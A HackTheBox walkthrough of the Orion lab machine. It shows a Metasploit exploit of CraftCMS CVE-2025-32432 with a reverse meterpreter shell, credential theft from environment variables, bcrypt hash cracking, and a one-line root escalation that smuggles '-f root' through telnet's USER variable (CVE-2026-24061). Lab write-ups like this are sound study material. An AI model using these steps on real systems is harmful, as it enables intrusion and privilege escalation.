Orion


A walkthrough of the Orion machine on HackTheBox. We exploit CVE-2025-32432 (CraftCMS preauth RCE) to gain a foothold as www-data, extract database credentials from environment variables, crack the admin's bcrypt hash to pivot to adam via SSH, then escalate to root by exploiting CVE-2026-24061 in inetutils-inetd by passing a malicious username to telnet's auto-login to spawn a root shell.

Pasted image 20260627113850.png

#Recon

#NMAP

shell
sudo nmap -sCV -p- orion.htb -oA orion
Starting Nmap 7.99SVN ( https://nmap.org ) at 2026-06-27 10:57 +0100
Stats: 0:00:45 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 10:58 (0:00:06 remaining)
Nmap scan report for orion.htb (10.129.244.146)
Host is up (0.031s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Orion Telecom
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.50 seconds

#Website Quick Look

Pasted image 20260627110243.png

Pasted image 20260627110256.png

#User

Nice and straight forward box, I believe that this was an Enterprise exclusive Very Easy box at first given the colouring, but it got released to the main platform as a retired easy box. Given the difficulty, when I was doing the recon I already understood that I was likely looking for something that could tell me the software version in use. As soon as I saw CraftCMS at the bottom of the page, I knew that was my RCE point, so I skipped doing the directory brute forcing or the subdomain fuzzing.

#Craft CMS

If we do some research into CraftCMS, while we don't have an exact version number to target, we can find that pretty much all likely large versions of the CMS have an RCE vulnerability CVE-2025-32432.

This page does give some examples of how you would manually exploit this, but after some attempts I was having a bit of difficulty getting it working exactly, so I figured I would power up the ole metasploit to make my life easier.

shell
       =[ metasploit v6.4.134-dev                               ]
+ -- --=[ 2,650 exploits - 1,336 auxiliary - 2,141 payloads     ]
+ -- --=[ 432 post - 49 encoders - 14 nops - 12 evasion         ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
shell
msf > search craftcms
shell
Matching Modules
================

   #  Name                                                    Disclosure Date  Rank       Check  Description
   -  ----                                                    ---------------  ----       -----  -----------
   0  exploit/linux/http/craftcms_preauth_rce_cve_2025_32432  2025-04-14       excellent  Yes    Craft CMS Image Transform Preauth RCE (CVE-2025-32432)
   1    \_ target: PHP In-Memory                              .                .          .      .
   2    \_ target: Unix/Linux Command Shell                   .                .          .      .
   3  exploit/linux/http/craftcms_ftp_template                2024-12-19       excellent  Yes    Craft CMS Twig Template Injection RCE via FTP Templates Path
   4  exploit/linux/http/craftcms_unauth_rce_cve_2023_41892   2023-09-13       excellent  Yes    Craft CMS unauthenticated Remote Code Execution (RCE)
   5    \_ target: PHP                                        .                .          .      .
   6    \_ target: Unix Command                               .                .          .      .
   7    \_ target: Linux Dropper                              .                .          .      .

As we can see, it is not the only potential Craft CMS exploit, but it seems fairly reliable, and I generally like going through them in order. If we select the first one, then set up all of the various payload details within MSF, we will gain some code execution.

One thing I think is worth mentioning, that I find very handy is that little short hand I used to set my LHOST. Tun0, is just the name of the standard network interface that HTB VPNS stand up on your machine, and MSF is smart enough to be able to obtain the exact IP just by providing the name of the interface, so when I do use MSF, that is something I like to keep in mind.

shell
msf > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > show options

Module options (exploit/linux/http/craftcms_preauth_rce_cve_2025_32432):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   ASSET_ID  912              yes       Existing asset ID
   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, sapni, http, socks4
   RHOSTS                     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT     80               yes       The target port (TCP)
   SSL       false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                      no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   PHP In-Memory



View the full module info with the info, or info -d command.

msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set RHOSTS orion.htb
RHOSTS => orion.htb
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set LHOST tun0
LHOST => 10.10.14.182
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > run
[*] Started reverse TCP handler on 10.10.14.182:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Leaked session.save_path: /var/lib/php/sessions
[+] The target is vulnerable. Session path leaked
[*] Injecting stub & triggering payload...
[*] Sending stage (45739 bytes) to 10.129.244.146
[*] Meterpreter session 1 opened (10.10.14.182:4444 -> 10.129.244.146:40458) at 2026-06-27 11:06:17 +0100

ls

meterpreter >
meterpreter > ls
Listing: /var/www/html/craft/web
================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100664/rw-rw-r--  283   fil   2025-11-18 17:08:05 +0000  .htaccess
040755/rwxr-xr-x  4096  dir   2026-03-06 12:12:57 +0000  assets
040775/rwxrwxr-x  4096  dir   2026-06-27 11:06:12 +0100  cpresources
100644/rw-r--r--  9689  fil   2026-03-06 12:12:57 +0000  index.html
100664/rw-rw-r--  258   fil   2025-11-18 17:08:05 +0000  index.php

meterpreter > shell

As can be seen, MSF executed the module, and then I used the shell command to drop down into a direct shell. I could have stayed in Msf, but sometimes commands will differ slightly in Msf vs in bash, so I prefer to drop down unless I am doing a windows box where the RCE drops me in a CMD shell.

#Adam

shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

We use the trusted python one liner to help stabilise the shell and give us a little further interactivity. There are more tricks and better tools that could be used to improve the stability, but for this box we don't really need to do anything more fancy.

Now that I have a shell, I start doing some recon within the directory structure to see if there is anything interesting, I quickly stumbled on a composer.json file. Composer is an application level dependency manager for PHP, that will often contain configuration details behind a PHP application. It is often used in devops and Infrastructure As Code set ups when you are using PHP applications.

shell
www-data@orion:~/html/craft$ cat composer.json	
cat composer.json
{
  "minimum-stability": "dev",
  "prefer-stable": true,
  "require": {
    "craftcms/cms": "5.6.16",
    "vlucas/phpdotenv": "^5.4.0"
  },
  "require-dev": {
    "craftcms/generator": "^2.0.0",
    "yiisoft/yii2-shell": "^2.0.3"
  },
  "config": {
    "allow-plugins": {
      "craftcms/plugin-installer": true,
      "yiisoft/yii2-composer": true
    },
    "sort-packages": true,
    "optimize-autoloader": true,
    "audit": {
      "block-insecure": false
    }
  },
  "scripts": {
    "post-root-package-install": [
      "@php -r \"file_exists('.env') || copy('.env.example.dev', '.env');\""
    ]
  }
}

As we can see, we have a lot of version numbers, and general details of what is used by the web application. But what is most interesting to me, is that it references .env. Not sure if it is specifically intended as a hint, but it actually gave me thought that I haven't done many of my general linux recon steps, so maybe I should just check the environment variable to see if there are any pieces of interesting information.

shell
www-data@orion:~/html/craft$ env
env
CRAFT_ENVIRONMENT=dev
CRAFT_DB_PORT=3306
CRAFT_APP_ID=CraftCMS--67912ad2-1f1b-4993-bfec-e64daa5c23ff
PWD=/var/www/html/craft
PRIMARY_SITE_URL=http://orion.htb/
CRAFT_DB_DATABASE=orion
HOME=/var/www
CRAFT_DB_TABLE_PREFIX=
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
USER=www-data
SHLVL=1
CRAFT_DB_USER=root
LC_CTYPE=C.UTF-8
CRAFT_SECURITY_KEY=RRS86F6i2JQKdC6kfEI7frVxA47WVMx8
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!
CRAFT_DISALLOW_ROBOTS=true
CRAFT_DEV_MODE=true
CRAFT_ALLOW_ADMIN_CHANGES=true
CRAFT_DB_SCHEMA=
OLDPWD=/var/www/html
_=/usr/bin/env

And boom, just like that we have a DB user, DB password details, and other bits and pieces about the application. I did at first try to see if I could reuse the those details for other users on the system, even a cheeky su - root. But no luck, so figured we may as well just take a peek at the mysql database.

shell
www-data@orion:~/html$ mysql -u root -p
mysql -u root -p
Enter password: SuperSecureCraft123Pass!
shell
MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| orion              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.002 sec)
shell
MariaDB [(none)]> use orion;
use orion;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [orion]>
shell
Database changed
MariaDB [orion]> show tables;
show tables;
+----------------------------+
| Tables_in_orion            |
+----------------------------+
| addresses                  |
| announcements              |
| assetindexdata             |
| assetindexingsessions      |
| assets                     |
| assets_sites               |
| authenticator              |
| categories                 |
| categorygroups             |
| categorygroups_sites       |
| changedattributes          |
| changedfields              |
| craftidtokens              |
| deprecationerrors          |
| drafts                     |
| elementactivity            |
| elements                   |
| elements_bulkops           |
| elements_owners            |
| elements_sites             |
| entries                    |
| entries_authors            |
| entrytypes                 |
| fieldlayouts               |
| fields                     |
| globalsets                 |
| gqlschemas                 |
| gqltokens                  |
| imagetransformindex        |
| imagetransforms            |
| info                       |
| migrations                 |
| plugins                    |
| projectconfig              |
| queue                      |
| recoverycodes              |
| relations                  |
| resourcepaths              |
| revisions                  |
| searchindex                |
| sections                   |
| sections_entrytypes        |
| sections_sites             |
| sequences                  |
| sessions                   |
| shunnedmessages            |
| sitegroups                 |
| sites                      |
| sso_identities             |
| structureelements          |
| structures                 |
| systemmessages             |
| taggroups                  |
| tags                       |
| tokens                     |
| usergroups                 |
| usergroups_users           |
| userpermissions            |
| userpermissions_usergroups |
| userpermissions_users      |
| userpreferences            |
| users                      |
| volumefolders              |
| volumes                    |
| webauthn                   |
| widgets                    |
+----------------------------+
66 rows in set (0.001 sec)
shell

MariaDB [orion]> select * from users;
select * from users;
+----+---------+------------------+--------+---------+--------+-----------+-------+----------+----------+-----------+----------+----------------+--------------------------------------------------------------+---------------------+--------------------+-------------------------+-------------------+----------------------+-------------+--------------+------------------+----------------------------+-----------------+-----------------------+------------------------+---------------------+---------------------+
| id | photoId | affiliatedSiteId | active | pending | locked | suspended | admin | username | fullName | firstName | lastName | email          | password                                                     | lastLoginDate       | lastLoginAttemptIp | invalidLoginWindowStart | invalidLoginCount | lastInvalidLoginDate | lockoutDate | hasDashboard | verificationCode | verificationCodeIssuedDate | unverifiedEmail | passwordResetRequired | lastPasswordChangeDate | dateCreated         | dateUpdated         |
+----+---------+------------------+--------+---------+--------+-----------+-------+----------+----------+-----------+----------+----------------+--------------------------------------------------------------+---------------------+--------------------+-------------------------+-------------------+----------------------+-------------+--------------+------------------+----------------------------+-----------------+-----------------------+------------------------+---------------------+---------------------+
|  1 |    NULL |             NULL |      1 |       0 |      0 |         0 |     1 | admin    | NULL     | NULL      | NULL     | adam@orion.htb | $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS | 2026-03-12 11:25:04 | NULL               | NULL                    |              NULL | NULL                 | NULL        |            1 | NULL             | NULL                       | NULL            |                     0 | 2026-03-12 11:24:51    | 2026-03-06 11:24:45 | 2026-03-12 11:25:04 |
+----+---------+------------------+--------+---------+--------+-----------+-------+----------+----------+-----------+----------+----------------+--------------------------------------------------------------+---------------------+--------------------+-------------------------+-------------------+----------------------+-------------+--------------+------------------+----------------------------+-----------------+-----------------------+------------------------+---------------------+---------------------+
1 row in set (0.000 sec)

MariaDB [orion]>

Going through the database we can see that there is only one user hash, which is a bcrypt hash. Just for easier viewing, I have chucked it below.

shell
$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS

Running it through hashcat, with -m 3200, which is the common mode, for bcrypt hashes that start with a 2y, cracks relatively quickly. For those that are unaware of how HTB works in terms of cracking passwords, the rules require that a password should be crackable in five minutes of trying, and are within the rockyou.txt file. While this can change, or certain box makers can be cheeky about this, this will usually get us a crack within a minute at most.

The reason why I named the file with the hash adam.txt, is because during my earlier enumeration attempts, I had taken a peek at the /home folder, which showed adam as a user. As we hadn't obtained a user.txt value yet, common HTB etiquette would tell us that is the user that we are going to be pivoting to.

shell
hashcat -m 3200 adam.txt /usr/share/dict/rockyou.txt
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 7.1  Linux, Release, RELOC, LLVM 20.1.8, SLEEF, DISTRO, CUDA, POCL_DEBUG) - Platform #1 [The pocl project]
shell
$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS:darkangel

Session..........: hashcat
Status...........: Cracked

Using the cracked password, we can then ssh directly into adam and get ourselves our user.txt value.

shell
 ssh adam@orion.htb
The authenticity of host 'orion.htb (10.129.244.146)' can't be established.
ED25519 key fingerprint is: SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'orion.htb' (ED25519) to the list of known hosts.
adam@orion.htb's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-177-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Jun 27 10:19:13 AM UTC 2026

  System load:  0.0               Processes:             231
  Usage of /:   75.2% of 5.81GB   Users logged in:       0
  Memory usage: 10%               IPv4 address for eth0: 10.129.244.146
  Swap usage:   0%

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

2 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

adam@orion:~$ cat user.txt
6c6aac8c3e4299f6dc3a56d261955672

#Root

Now that we have a direct user to ssh into, and a password that allows us to try some of the more things, like checking for sudo capabilities. I will run through a number of recon steps from here, even if you have done this as a prior user, it is helpful to rerun certain steps in case your privs show up something new.

Sudo -l for sudo abilities on the box.

shell
adam@orion:~$ sudo -l
[sudo] password for adam:
Sorry, user adam may not run sudo on orion.

ls -al to see if there are any hidden files, and to see if we have any interesting permissions/file contents.

shell
adam@orion:~$ ls -al
total 40
drwxr-x--- 5 adam adam 4096 May 12 08:15 .
drwxr-xr-x 3 root root 4096 May 12 08:15 ..
lrwxrwxrwx 1 root root    9 May  7 12:28 .bash_history -> /dev/null
-rw-r--r-- 1 adam adam  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 adam adam 3771 Jan  6  2022 .bashrc
drwx------ 3 adam adam 4096 May 12 08:15 .cache
drwxrwxr-x 3 adam adam 4096 May 12 08:15 .config
drwxrwxr-x 3 adam adam 4096 May 12 08:15 .local
-rw-r--r-- 1 adam adam  807 Jan  6  2022 .profile
-rw-r----- 1 root adam   33 Jun 27 09:56 user.txt
-rw-rw-r-- 1 adam adam  166 Mar  6 13:34 .wget-hsts

Find command to show us if we have any SUID bits that we can use for a GTFOBins style privilege escalation.

shell
adam@orion:~$ find / -perm -u=s -type f 2>/dev/null
/snap/core20/1822/usr/bin/chfn
/snap/core20/1822/usr/bin/chsh
/snap/core20/1822/usr/bin/gpasswd
/snap/core20/1822/usr/bin/mount
/snap/core20/1822/usr/bin/newgrp
/snap/core20/1822/usr/bin/passwd
/snap/core20/1822/usr/bin/su
/snap/core20/1822/usr/bin/sudo
/snap/core20/1822/usr/bin/umount
/snap/core20/1822/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1822/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/rcp
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/umount
/usr/bin/rlogin
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/rsh
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/traceroute
/usr/bin/mount
/usr/bin/chfn
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1

ss -tnlp to show us if there are any ports that are open that we need to port forward. This gives us our first hint at what we should be looking at. Port 23 is a non standard port to be open on a linux installation, it is commonly used as the default telnet port.

shell
adam@orion:/tmp$ ss -tnlp

State Recv-Q Send-Q Local Address:Port Peer Address:Port Process

LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*

LISTEN 0 128 0.0.0.0:22 0.0.0.0:*

LISTEN 0 511 0.0.0.0:80 0.0.0.0:*

LISTEN 0 10 127.0.0.1:23 0.0.0.0:*

LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*

LISTEN 0 128 [::]:22 [::]:*

Below is a snippet from ps -aux command, that shows us all of the running processes that our user can see. Sometimes we can use this to find processes running with username/passwords provided within the command. But in this case, it just helps to further confirm that telnet is running.

shell
root 972 0.0 0.1 15396 7388 ? Ss 09:56 0:00 /lib/systemd/systemd-logind

root 975 0.0 0.3 392540 12680 ? Ssl 09:56 0:00 /usr/libexec/udisks2/udisksd

root 987 0.0 0.0 6176 1076 tty1 Ss+ 09:56 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux

root 991 0.0 0.0 2836 1868 ? S 09:56 0:00 /usr/sbin/inetutils-inetd

root 1028 0.0 0.3 318008 12280 ? Ssl 09:56 0:00 /usr/sbin/ModemManager

root 1029 0.0 0.2 15460 9256 ? Ss 09:56 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups

root 1063 0.0 0.0 82336 2176 ? Ss 09:56 0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;

www-data 1064 0.0 0.1 83080 6620 ? S 09:56 0:00 nginx: worker process

www-data 1065 0.0 0.1 83376 7856 ? S 09:56 0:00 nginx: worker process

mysql 1119 0.0 2.4 1413724 99464 ? Ssl 09:56 0:00 /usr/sbin/mariadbd

www-data 1328 0.0 1.4 260448 58308 ? S 09:56 0:00 php-fpm: pool www

www-data 1329 0.0 1.1 255948 46392 ? S 09:56 0:00 php-fpm: pool www

www-data 1333 0.0 0.3 325564 14072 ? S 09:56 0:00 php-fpm: pool www

www-data 1334 0.0 0.3 325564 14072 ? S 09:56 0:00 php-fpm: pool www

www-data 1391 0.0 1.2 256372 50996 ? S 09:58 0:00 php-fpm: pool www

www-data 1420 0.0 0.0 2892 972 ? S 10:06 0:00 sh -c /bin/sh

www-data 1421 0.0 0.0 2892 956 ? S 10:06 0:00 /bin/sh

www-data 1433 0.0 0.2 17744 9108 ? S 10:08 0:00 python3 -c import pty; pty.spawn("/bin/bash")

www-data 1434 0.0 0.1 7984 4084 pts/0 Ss 10:08 0:00 /bin/bash

root 1520 0.0 0.0 0 0 ? I 10:09 0:00 [kworker/1:0-events]

www-data 1528 0.0 0.1 16284 6060 pts/0 S+ 10:11 0:00 mysql -u root -p SuperSecureCraft123Pass!

www-data 1530 0.0 0.0 2892 952 ? S 10:11 0:00 /bin/sh

www-data 1531 0.0 0.2 17732 9004 ? S 10:12 0:00 python3 -c import pty; pty.spawn("/bin/bash")

www-data 1532 0.0 0.1 7984 4032 pts/1 Ss 10:12 0:00 /bin/bash

root 1595 0.0 0.0 0 0 ? I 10:17 0:00 [kworker/u4:1-ext4-rsv-conversion]

root 1596 0.0 0.0 10128 3768 pts/1 S+ 10:18 0:00 su adam

root 1597 0.0 0.2 17200 11004 ? Ss 10:19 0:00 sshd: adam [priv]

adam 1600 0.0 0.2 17088 9804 ? Ss 10:19 0:00 /lib/systemd/systemd --user

adam 1601 0.0 0.0 169292 3816 ? S 10:19 0:00 (sd-pam)

root 1604 0.0 0.0 0 0 ? I 10:19 0:00 [kworker/0:1-events]

adam 1687 0.0 0.1 17336 7996 ? R 10:19 0:00 sshd: adam@pts/2

adam 1689 0.0 0.1 8792 5580 pts/2 Ss 10:19 0:00 -bash

adam 17763 0.0 0.1 8324 4196 ? Ss 10:23 0:00 /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation

root 36093 0.0 0.0 0 0 ? I 10:25 0:00 [kworker/0:2-events]

root 37340 0.0 0.0 0 0 ? I 10:25 0:00 [kworker/1:1-events]

adam 37423 0.0 0.0 7372 1640 pts/2 S 10:25 0:00 bash -c ((( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001

adam 37428 0.0 0.0 7372 252 pts/2 S 10:25 0:00 bash -c ((( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001

adam 37432 0.0 0.0 6620 2360 pts/2 S 10:25 0:00 grep accessible

adam 37436 0.0 0.0 7372 1944 pts/2 S 10:25 0:00 bash -c ((( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001

adam 37446 0.0 0.0 5808 1096 pts/2 S 10:25 0:00 dd bs=9000 count=1

adam 37447 0.0 0.0 2784 956 pts/2 S 10:25 0:00 xxd

adam 40838 0.0 0.0 81388 3312 ? SLs 10:27 0:00 /usr/bin/gpg-agent --supervised

root 53868 0.0 0.0 0 0 ? I 10:28 0:00 [kworker/u4:0-events_unbound]

adam 54641 0.0 0.0 10072 1644 pts/2 R+ 10:31 0:00 ps aux

The specific element is fairly well hidden, so I will post that below. But inetutils-inetd, is what we need to confirm that telnet is currently running on port 23.

shell
root 991 0.0 0.0 2836 1868 ? S 09:56 0:00 /usr/sbin/inetutils-inetd

If we use dpkg to tell us the version number of inetutils, we will quickly identify that this is a vulnerable version.

shell
dpkg -l | grep inetutils
ii  inetutils-inetd                        2:2.2-2ubuntu0.2                                 amd64        internet super server

OffSec has a really handy blog for CVE-2026-24061 that even gives us the exact command that we can run to get root!

shell
adam@orion:/tmp$ USER='-f root' telnet -a 127.0.0.1
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.

Linux 5.15.0-177-generic (orion) (pts/3)

Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-177-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Jun 27 10:37:32 AM UTC 2026

  System load:  0.06              Processes:             241
  Usage of /:   88.3% of 5.81GB   Users logged in:       1
  Memory usage: 16%               IPv4 address for eth0: 10.129.244.146
  Swap usage:   0%

  => / is using 88.3% of 5.81GB

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

2 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


root@orion:~#

shell
root@orion:~# cat root.txt
6b1e251fcb9b4a7dd99f189254571cb8